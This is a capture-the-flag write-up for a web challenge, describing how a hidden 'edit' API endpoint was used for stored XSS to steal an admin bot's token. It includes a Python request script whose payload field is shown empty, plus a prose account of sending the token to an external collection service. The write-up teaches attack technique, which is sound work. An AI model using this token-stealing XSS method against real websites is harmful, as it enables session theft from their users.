Tags: web xss 

Rating: 5.0

# A Good Vue (web)
Writeup by: [xlr8or](https://ctftime.org/team/235001)

As part of this challenge we get 2 web pages. One is for a bot, which will make the admin *check out your cool stuff*, the second one is the page with the pictures and the voting system.

Inspecting the main page, when it is first loaded, a request is made to `http://goodvue-api.rumble.host/token` that will get us a `token` which will be stored as a cookie.
After we have this token, and refresh, we see some jury reviews, likes and dislikes of the pictures that are posted.
The site seems to function normally, and the big **EXPLOIT** button at the top doesn't seem to work either.

To learn more about the website we can read the frontend source code, by going to the `Debugger` tab of the browser dev tools.
The interesting file we can find here is the `ImageComponent.vue`, which contains the API endpoint we have already seen:
```javascript
methods: {
like: function() {
this.likes++;
},
dislike: function() {
this.dislikes++;
},
todo_implement_update(_message) {
axios.put(apiUrl + "/edit", {
"id": this.id? this.id : "0",
"token": this.token,
"text": "::unimplemented::"
});
}
},
```

However as you can see there's an API function that we have no knowledge of so far, the `edit` endpoint, since this is not exposed in the HTML of the website.
* `id` is the ID of the image where we want to edit the message
* `token` is the token we have in the cookie from the very first API request
* `text` is the content we can append to the message

Trying out this endpoint, we have the ability to append messages to the jury comments.
And sure enough this is vulnerable to XSS.

Most likely the objective is to get the token of the admin (although this is a bit of a guess, there is no other way I could think of to win this challenge).
We can construct the following python script, that will perform the XSS with a payload that will call back to some extraction service (ngrok, or having an external server etc..), with the `token` of whoever visits the page
```python
import requests

resp = requests.put('http://goodvue-api.rumble.host/edit', json={
'id': '1',
'token': '747401992a50da23723e84bbd7202a',
'text': ''
})

print(resp.content)
```

We can make the bot visit the website by providing our token, and solving the proof of work challenge.
Following this we get a hold of the admin token.

Once again we need to execute the bot for the admin token, and the new proof of work script.
Once the bot is done we get the flag.